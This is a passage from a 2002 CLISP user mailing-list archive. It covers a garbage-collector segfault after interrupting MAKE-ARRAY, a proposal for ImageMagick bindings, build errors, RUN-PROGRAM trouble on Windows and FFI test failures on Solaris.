Sam Steingold In-Reply-To: <200203032322.g23NMxE27403@panix3.panix.com> Message-ID: Lines: 59 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 19:31:07 2002 X-Original-Date: 03 Mar 2002 22:25:39 -0500 > * In message <200203032322.g23NMxE27403@panix3.panix.com> > * On the subject of "[clisp-list] aborting MAKE-ARRAY leaves CLISP in an unstable state?" > * Sent on Sun, 3 Mar 2002 18:22:59 -0500 (EST) > * Honorable Carl Shapiro writes: > > I am having some stability problems with CLISP. Specifically, > aborting MAKE-ARRAY seems to leave CLISP in an unstable state. Has > anyone else encountered similar problems when aborting MAKE-ARRAY? > > I have included below a simple, reproducible example of the lossage I > am experiencing. > > > zzz$ uname -a > NetBSD zzz 1.5.2 NetBSD 1.5.2 (BRAIN) #1: Sat Sep 29 12:44:54 > EDT 2001 root@zzz:/u1/src/sys/arch/i386/compile/BRAIN i386 > zzz$ clisp --version > > [1]> GNU CLISP 2.27 (released 2001-07-17) (built on zzz) > zzz$ clisp -q -I > > [1]> (make-array 10000000) > ^C > ** - Continuable Error > PRINT: User break this is in PRINT, not MAKE-ARRAY please try (make-list 10000000) ^C do you get the same? could you play with the various *PRINT-* vars to determine what makes this happen? > If you continue (by typing 'continue'): Continue execution > 1. Break [2]> :bt > > - NIL > 1. Break [2]> :a > > [3]> (ext:gc) > 3672424 > [4]> (ext:gc) > Segmentation fault > zzz$ wow!!! in the _second_ GC! do you get a core? can you generate a backtrace? (you might need to rebuild with -g...) thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Despite the raising cost of living, it remains quite popular. From samuel.steingold@verizon.net Sun Mar 03 19:41:58 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hjML-0005zp-00 for ; Sun, 03 Mar 2002 19:41:57 -0800 Received: from gnu.org ([151.203.224.254]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020304034131.XZOY5018.out005.verizon.net@gnu.org>; Sun, 3 Mar 2002 21:41:31 -0600 To: Scott Williams Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] General question regarding adding new features to clisp References: <32572.1015204173@www13.gmx.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <32572.1015204173@www13.gmx.net> Message-ID: Lines: 62 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 19:42:11 2002 X-Original-Date: 03 Mar 2002 22:37:19 -0500 > * In message <32572.1015204173@www13.gmx.net> > * On the subject of "[clisp-list] General question regarding adding new features to clisp" > * Sent on Mon, 4 Mar 2002 02:09:33 +0100 (MET) > * Honorable Scott Williams writes: > > Before I ask my question, I should introduce myself. I am Scott > Williams, a Senior in High School from Loveland Colorado. I've been > programming for a long time (too long to really make a difference how > long), and I recently picked up Lisp as a language. And now I'm > hooked. welcome to the club! > (The story is longer, but of dubious interest to the real world :o) you'd be surprised! :-) > I've been watching the list for a while and keeping up with > CVS versions of clisp. what is your platform? did you build today to pre-test the release? > But I'm disappointed by the lack of imaging support in Lisp, and > rather than just complain, I think it would make an interesting > learning experience and possibly a useful contribution to the clisp > community if I were to endow clisp with some image processing bindings > (such as load, blur, composite, and so forth). To avoid the long > ordeal of inventing for myself the whole art of imaging, I'm inclined > to integrate ImageMagick into the project (though I haven't looked too > far into the licenses of either clisp or ImageMagic yet and can't say > if this is even possible... perhaps someone already knows?). CLISP is under GPL, ImageMagic under a BSD-style license (IIUC). at any rate, there should not be a problem to interface CLISP with ImageMagic. > As for the question: Is there any demand at all for this in the wider > world? I thought about it - and decided that this is a great idea. I did not have time then, unfortunately. I have even less time now. :-( > Has someone already done it? (I looked around and couldn't really find > anything that would allow one to load an image and manipulate it > painlessly.) Should I integrate it into the clisp source tree as a > module, or distribute it as a seperate module and have the user link > it in after lisp.run has already been installed? I suggest that you make it a CLISP module and contribute it to CLISP. have a look at modules/regexp/ > Or (the horror) write everything natively in Lisp? I don't think this is useful. reimplementing everything one more time in yet another language is for learning that other language, not for the "real life". good luck! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! I don't have an attitude problem. You have a perception problem. From samuel.steingold@verizon.net Sun Mar 03 19:48:18 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hjST-0000td-00 for ; Sun, 03 Mar 2002 19:48:17 -0800 Received: from gnu.org ([151.203.224.254]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020304034813.UNYT379.out019.verizon.net@gnu.org>; Sun, 3 Mar 2002 21:48:13 -0600 To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] object_tab_ missing printstring_hash_table References: <134271576967.20020304125224@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <134271576967.20020304125224@ich.dvo.ru> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 19:49:02 2002 X-Original-Date: 03 Mar 2002 22:43:38 -0500 > * In message <134271576967.20020304125224@ich.dvo.ru> > * On the subject of "[clisp-list] object_tab_ missing printstring_hash_table" > * Sent on Mon, 4 Mar 2002 12:52:24 +1000 > * Honorable Arseny Slobodjuck writes: > > It's strange, I'm compiling on the other computer and get this: > Yesterday all was ok... > > io.i.c > io.d(8666) : error C2039: 'printstring_hash_table' : is not a member of 'object_tab_' > lispbibl.d(8320) : see declaration of 'object_tab_' > io.d(8666) : error C2198: 'pr_hex6_obj' : too few actual parameters > NMAKE : fatal error U1077: 'cl' : return code '0x2' > Stop. you have an old io.d - printstring_hash_table has been indeed removed on 2002-02-01. cvs is your friend. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! The difference between genius and stupidity is that genius has its limits. From Matise@biology.rutgers.edu Sun Mar 03 20:02:12 2002 Received: from nel-exchange.rutgers.edu ([128.6.130.4] helo=nel-exchange.ad.lifesciences.rutgers.edu) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hjfw-0004lR-00 for ; Sun, 03 Mar 2002 20:02:12 -0800 Received: by nel-exchange.ad.lifesciences.rutgers.edu with Internet Mail Service (5.5.2653.19) id ; Sun, 3 Mar 2002 23:01:36 -0500 Message-ID: <32786300104BD311AC7E00508B6707D0D1A525@nel-exchange.ad.lifesciences.rutgers.edu> From: Matise@Biology.Rutgers.Edu To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1C331.4615C450" Subject: [clisp-list] Q: problem with RUN-PROGRAM and EXECUTE in Win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 20:03:02 2002 X-Original-Date: Sun, 3 Mar 2002 23:01:33 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1C331.4615C450 Content-Type: text/plain; charset="iso-8859-1" Well, I think I have really tried everything now, but I am not getting the same results as others who have tried to help me. (lisp-implementation-type) returns: "2.27 (released 2001-07-17) (built 3204312676) (memory 3223661245)" which is somewhat different from what another user reported: [2]> (lisp-implementation-version) "2.27 (released 2001-07-17) (built on ssteingold.exapps.com [172.23.101.12])" I don't know if these differences are important. Also - try as I might, I cannot get anything from the RUN-PROGRAM function except this error message: [%s:10790] *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. Some suggested I try the :indirectp keyword, but :indirectp is not a valid keyword in my copy of CLISP: (describe 'run-program) only returns these keywords: :arguments :input :output :if-output-exists :wait Also,EXECUTE does not work properly for me, so at this point I am unable to continue trying to port a UNIX-based CLISP program to Windows. Any additional insight on what might be my problem would be greatly appreciated. My paths are set properly, but RUN-PROGRAM won't run any executable, regardless of whether it is in my path or whether I am in the directory where the exe is located. Thanks for any further advice, Tara * * * * * * * * * * * * * * * * * * * * * * * * Tara C. Matise, Ph.D. matise@biology.rutgers.edu Department of Genetics 732-445-3125 (P) Rutgers University 732-445-1147 (F) Nelson Biological Laboratories - B211 604 Allison Road Piscataway, NJ 08854-8082 ------_=_NextPart_001_01C1C331.4615C450 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Q: problem with RUN-PROGRAM and EXECUTE in Win32

Well, I think I have really tried = everything now, but I am not getting the same results as others who = have tried to help me.

(lisp-implementation-type) = returns:

"2.27 (released 2001-07-17) = (built 3204312676) (memory 3223661245)"

which is somewhat different from what = another user reported:

[2]> = (lisp-implementation-version)=0D"2.27 (released 2001-07-17) (built = on ssteingold.exapps.com [172.23.101.12])"

I don't know if these differences are = important.

Also - try as I might, I cannot get = anything from the RUN-PROGRAM function except this error = message:

[%s:10790]
*** - Win32 error 2 = (ERROR_FILE_NOT_FOUND): The system cannot find the file = specified.

Some suggested I try the :indirectp = keyword, but :indirectp is not a valid keyword in my copy of = CLISP:

(describe 'run-program)  only = returns these keywords:

:arguments :input :output = :if-output-exists :wait


Also,EXECUTE does not work properly = for me, so at this point I am unable to continue trying to port a = UNIX-based CLISP program to Windows.

Any additional insight on what might = be my problem would be greatly appreciated.  My paths are set = properly, but RUN-PROGRAM won't run any executable, regardless of = whether it is in my path or whether I am in the directory where the exe = is located. 

Thanks for any further advice,

Tara

*  *  *  *  *  = *  *  *  *  *  *  *  *  *  = *  *  *  *  *  *  *  *  *  = *
Tara C. Matise, = Ph.D.           &= nbsp;  matise@biology.rutgers.edu
Department of = Genetics          = 732-445-3125 (P)
Rutgers = University          &n= bsp;      732-445-1147 (F)

Nelson Biological Laboratories - = B211
604 Allison Road
Piscataway, NJ 08854-8082

------_=_NextPart_001_01C1C331.4615C450-- From cshapiro@panix.com Sun Mar 03 20:32:55 2002 Received: from mail2.panix.com ([166.84.1.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hk9f-00053b-00 for ; Sun, 03 Mar 2002 20:32:55 -0800 Received: from panix3.panix.com (panix3.panix.com [166.84.1.3]) by mail2.panix.com (Postfix) with ESMTP id BC3D9918C; Sun, 3 Mar 2002 23:32:50 -0500 (EST) Received: (from cshapiro@localhost) by panix3.panix.com (8.11.3nb1/8.8.8/PanixN1.0) id g244WoR06029; Sun, 3 Mar 2002 23:32:50 -0500 (EST) Message-Id: <200203040432.g244WoR06029@panix3.panix.com> X-Authentication-Warning: panix3.panix.com: cshapiro set sender to cshapiro@panix.com using -f From: Carl Shapiro To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 03 Mar 2002 22:25:39 -0500) Subject: Re: [clisp-list] aborting MAKE-ARRAY leaves CLISP in an unstable state? Reply-To: cshapiro@panix.com References: <200203032322.g23NMxE27403@panix3.panix.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 20:33:03 2002 X-Original-Date: Sun, 3 Mar 2002 23:32:50 -0500 (EST) From: Sam Steingold Date: 03 Mar 2002 22:25:39 -0500 this is in PRINT, not MAKE-ARRAY please try (make-list 10000000) ^C do you get the same? could you play with the various *PRINT-* vars to determine what makes this happen? If I break in the printer with *PRINT-LENGTH* set to NIL I can reliably cause a segmentation fault on the first try. With either *PRINT-LENGTH* set to some small value or with printing of arrays completely turned off I can reproduce the segfault. However, this only works if I have created some garbage before hand, say by making an uninterrupted call to (MAKE-ARRAY 10000000). bash-2.05$ clisp -q -I [1]> (setq *print-array* nil) NIL [2]> (make-array 10000000) # [3]> (make-array 10000000) ^C ** - Continuable Error GC: User break If you continue (by typing 'continue'): Continue execution 1. Break [4]> :a [5]> (ext:gc) 3672448 [6]> (ext:gc) Segmentation fault (core dumped) bash-2.05$ wow!!! in the _second_ GC! Pretty weird, right? Sometime today I realized that I had never manually invoked the CLISP collector and so I gave it a try, and then did it a second time hoping to get a hint as to what the return value signifies. That's when I first noticed the segmentation fault! do you get a core? can you generate a backtrace? (you might need to rebuild with -g...) I can get a core file, but my clisp isn't compiled with symbols so gdb isn't very revealing. I'll try recompiling with symbols tomorrow and giving this another try. hippocampus$ gdb --quiet (gdb) file /usr/local/lib/clisp/base/lisp.run Reading symbols from /usr/local/lib/clisp/base/lisp.run... (no debugging symbols found)...done. (gdb) core lisp.run.core Core was generated by `lisp.run'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/libexec/ld.elf_so...(no debugging symbols found)... done. Reading symbols from /usr/lib/libtermcap.so.0...(no debugging symbols found)... done. Reading symbols from /usr/lib/libc.so.12...(no debugging symbols found)...done. #0 0x804b58a in gc_morris2 () (gdb) where #0 0x804b58a in gc_morris2 () #1 0x2297cbbc in ?? () Cannot access memory at address 0x680a7000. (gdb) info local No symbol table info available. (gdb) From ortmage@gmx.net Sun Mar 03 21:22:13 2002 Received: from mx0.gmx.net ([213.165.64.100]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hkvL-0007K0-00 for ; Sun, 03 Mar 2002 21:22:11 -0800 Received: (qmail 8208 invoked by uid 0); 4 Mar 2002 05:22:03 -0000 From: Scott Williams To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 References: Subject: Re: [clisp-list] General question regarding adding new features to clisp X-Priority: 3 (Normal) X-Authenticated-Sender: #0009558537@gmx.net X-Authenticated-IP: [67.235.7.192] Message-ID: <10779.1015219323@www34.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 3 21:23:02 2002 X-Original-Date: Mon, 4 Mar 2002 06:22:03 +0100 (MET) > > * In message <32572.1015204173@www13.gmx.net> > > * On the subject of "[clisp-list] General question regarding adding new > features to clisp" > > * Sent on Mon, 4 Mar 2002 02:09:33 +0100 (MET) > > * Honorable Scott Williams writes: > > > > Before I ask my question, I should introduce myself. I am Scott > > Williams, a Senior in High School from Loveland Colorado. I've been > > programming for a long time (too long to really make a difference how > > long), and I recently picked up Lisp as a language. And now I'm > > hooked. > welcome to the club! Thank you :o) > > > (The story is longer, but of dubious interest to the real world :o) > you'd be surprised! :-) > [ Beginning long story :o) ] Well, I started in GW-Basic on an ancient 8086 when I was in 3rd grade, and stopped programming for a while because it was soo frusterating. I changed to QBasic (found a version of 4.5 laying around) and spent a long time playing with event loop style gui's. Got fed up with QB's lack of sockets support, moved to DJGPP with Allegro and did some more event loop gui stuff (I don't think I ever finished a project, but I never really had a goal in mind either). I still used QB because it had strings support. I messed around with C++ for a while but decided i really didn't like it very much (just a personal style preference). I moved to windows 2000 and found out that DJGPP wasn't happy there, so i switched to cygwin... Windows 2000 crashed and that was the last straw: I moved to linux (mandrake 7.2 was current when I moved) and found that Allegro was too slow in X, so I gave up and just used GTK. With the GUI taken care of, I needed a real project to work on. At that time, I had been trying to give a presentation in class and found out that Powerpoint just /sucked/ when it came to syncing sound and video. So I thought I'd just write a little program... it would take stills or text and blur/rotate/fade them and render them to an MPEG stream. It went through 3 incarnations in C, one in C++, and when I got serious and started using GTK, it went through 2 more, and I stopped because i was thinking about extensibility... which is how I got into Lisp: At first I was thinking only extension language... but I tried writing a little feasibility test using CLOS and got much farther than I had ever gotten before. So I just need a way to manipulate images with Lisp. [ End long story ] > what is your platform? > did you build today to pre-test the release? I did... I'm on an i586-linux-gnu running gcc 3.1 (libc 6). It built beautifully, all tests passed. Configured: # -*- Makefile -*- for the CLISP binaries # DO NOT EDIT! GENERATED AUTOMATICALLY! # This file was created on host scott.dgroup as the output of the command: # ./makemake --with-readline --with-gettext --with-dynamic-ffi --with-dynamic-modules --with-export-syscalls --with-module=wildcard --with-module=regexp --with-module=bindings/linuxlibc6 MODULES = wildcard regexp bindings/linuxlibc > CLISP is under GPL, ImageMagic under a BSD-style license (IIUC). > at any rate, there should not be a problem to interface CLISP with > ImageMagic. > > > As for the question: Is there any demand at all for this in the wider > > world? > I thought about it - and decided that this is a great idea. > I did not have time then, unfortunately. > I have even less time now. :-( I am still in school, but now I have a clear project in mind and will probably implement it slowly but consistently as I learn exactly how CLISP internals work. I still need to try to understand how i will manage the memory, since images could get quite large... perhaps i might have to disobey basic lisp principles and do destructive surgury on picture data to avoid constant data copying and garbage collection? > I suggest that you make it a CLISP module and contribute it to CLISP. > have a look at modules/regexp/ Thanks... Should I keep a current CVS copy of CLISP until my module works reliably and then trouble you to merge it? > > > Or (the horror) write everything natively in Lisp? > > I don't think this is useful. reimplementing everything one more time > in yet another language is for learning that other language, not for > the "real life". I agree... thanks for the support! > > good luck! > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux > Keep Jerusalem united! > Read, think and remember! > I don't have an attitude problem. You have a perception problem. > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From emarsden@laas.fr Mon Mar 04 01:09:32 2002 Received: from laas.laas.fr ([140.93.0.15]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16hoSw-0005mL-00 for ; Mon, 04 Mar 2002 01:09:09 -0800 Received: from melbourne.laas.fr (melbourne [140.93.21.103]) by laas.laas.fr (8.12.1/8.12.1) with ESMTP id g2498RAp000107 for ; Mon, 4 Mar 2002 10:08:27 +0100 (CET) Received: from emarsden by melbourne.laas.fr with local (Exim 3.34 #1 (Debian)) id 16hoSJ-0001WS-00 for ; Mon, 04 Mar 2002 10:08:27 +0100 To: clisp-list@lists.sourceforge.net Subject: prerelease testing (was Re: [clisp-list] REINITIALIZE-INSTANCE problems) References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ X-Message-Flags: Don't Panic! X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ In-Reply-To: (Sam Steingold's message of "03 Mar 2002 21:21:22 -0500") Message-ID: Lines: 34 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by laas.laas.fr id g2498RAp000107 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 01:10:07 2002 X-Original-Date: Mon, 04 Mar 2002 10:08:27 +0100 >>>>> "Sam" =3D=3D Sam Steingold writes: Sam> okay - fixed, please try again. Sam> (this "try again", unfortunately, includes those of you, who have Sam> already tested the latest CVS CLISP and reported success. Sam> sorry guys. )-: right, it works now, thanks. =20 =20 ecm> is the FFI supposed to work on Solaris?=20 Sam> yes. Sam> try Sam> $ ./configure --with-dynamic-ffi thanks, is there a reason why this defaults to on for linux/x86, but needs to be specified explicitly on Solaris? Also, it would be nice if it appeared in the output of =ABconfigure --help=BB. Apparently the avcall tests fail: ,---- | /tmp/clisp-gcc$ more avcall/minitests.output.sparc-sun-solaris2.7=20 | Int f(Int,Int,Int):({1},{2},{3})->{6} | Int f(Int,Int,Int):({1},{2},{3})->{9} | J f(J,int,J):({47,11},2,{73,55})->{120,68} | J f(J,int,J):({47,11},2,{73,55})->{9,902231815} `---- I'm afraid that the error in avcall-sparc.s isn't immediately evident to me :-) =20 --=20 Eric Marsden From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 04 04:07:09 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16hrFC-00046m-00 for ; Mon, 04 Mar 2002 04:07:06 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 4 Mar 2002 13:05:20 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 4 Mar 2002 13:06:51 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] please report whether your CLISP crashes on my 9nine s example (summary) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 04:08:02 2002 X-Original-Date: Mon, 4 Mar 2002 13:06:49 +0100 Hi all, here's the summary of my poll: o MS-Windows-NT, -2000 and -95 crash. Thanks to Arseny Slobodjuck for producing an even smaller crasher program. No crashes occur on on: o Linux on both Intel and PPC o Solaris o Mac OS X (exact versions of OS mostly unknown/unreported/not asked for). Thanks for your help, Jorg Hohle. From samuel.steingold@verizon.net Mon Mar 04 06:16:08 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16htG3-00020A-00 for ; Mon, 04 Mar 2002 06:16:07 -0800 Received: from gnu.org ([151.203.224.254]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020304141602.DIBA28131.out016.verizon.net@gnu.org>; Mon, 4 Mar 2002 08:16:02 -0600 To: Scott Williams Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] General question regarding adding new features to clisp References: <10779.1015219323@www34.gmx.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <10779.1015219323@www34.gmx.net> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 06:17:03 2002 X-Original-Date: 04 Mar 2002 09:11:22 -0500 > * In message <10779.1015219323@www34.gmx.net> > * On the subject of "Re: [clisp-list] General question regarding adding new features to clisp" > * Sent on Mon, 4 Mar 2002 06:22:03 +0100 (MET) > * Honorable Scott Williams writes: > > I still need to try to understand how i will manage the memory, since > images could get quite large... perhaps i might have to disobey basic > lisp principles and do destructive surgury on picture data to avoid > constant data copying and garbage collection? you will need to learn how the FFI works. lots of reading ahead! > > I suggest that you make it a CLISP module and contribute it to CLISP. > > have a look at modules/regexp/ > > Thanks... Should I keep a current CVS copy of CLISP until my module > works reliably and then trouble you to merge it? yes. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! "A pint of sweat will save a gallon of blood." -- George S. Patton From samuel.steingold@verizon.net Mon Mar 04 06:19:23 2002 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16htJB-0002tX-00 for ; Mon, 04 Mar 2002 06:19:21 -0800 Received: from gnu.org ([151.203.224.254]) by out008.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020304141919.UVAN12982.out008.verizon.net@gnu.org>; Mon, 4 Mar 2002 08:19:19 -0600 To: Eric Marsden Cc: clisp-list@lists.sourceforge.net Subject: Re: prerelease testing (was Re: [clisp-list] REINITIALIZE-INSTANCE problems) References: <20020221174011.A1290@apal.ii.uib.no> <20020223190952.A1918@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 06:20:06 2002 X-Original-Date: 04 Mar 2002 09:14:40 -0500 > * In message > * On the subject of "prerelease testing (was Re: [clisp-list] REINITIALIZ= E-INSTANCE problems)" > * Sent on Mon, 04 Mar 2002 10:08:27 +0100 > * Honorable Eric Marsden writes: > > ecm> is the FFI supposed to work on Solaris?=20 > Sam> yes. >=20 > Sam> try > Sam> $ ./configure --with-dynamic-ffi >=20 > thanks, is there a reason why this defaults to on for linux/x86, but > needs to be specified explicitly on Solaris? because FFI tests fail on Solaris but pass on Linux. > Also, it would be nice > if it appeared in the output of =ABconfigure --help=BB. it is supposed to be auto-detected. the right solution is to fix FFI on Solaris. > Apparently the avcall tests fail: here you go. --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! "A pint of sweat will save a gallon of blood." -- George S. Patton From samuel.steingold@verizon.net Mon Mar 04 06:29:57 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16htTQ-0005fK-00 for ; Mon, 04 Mar 2002 06:29:56 -0800 Received: from gnu.org ([151.203.224.254]) by out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020304142955.HKFH23533.out009.verizon.net@gnu.org>; Mon, 4 Mar 2002 08:29:55 -0600 To: cshapiro@panix.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] aborting MAKE-ARRAY leaves CLISP in an unstable state? References: <200203032322.g23NMxE27403@panix3.panix.com> <200203040432.g244WoR06029@panix3.panix.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200203040432.g244WoR06029@panix3.panix.com> Message-ID: Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 4 06:30:14 2002 X-Original-Date: 04 Mar 2002 09:25:14 -0500 > * In message <200203040432.g244WoR06029@panix3.panix.com> > * On the subject of "Re: 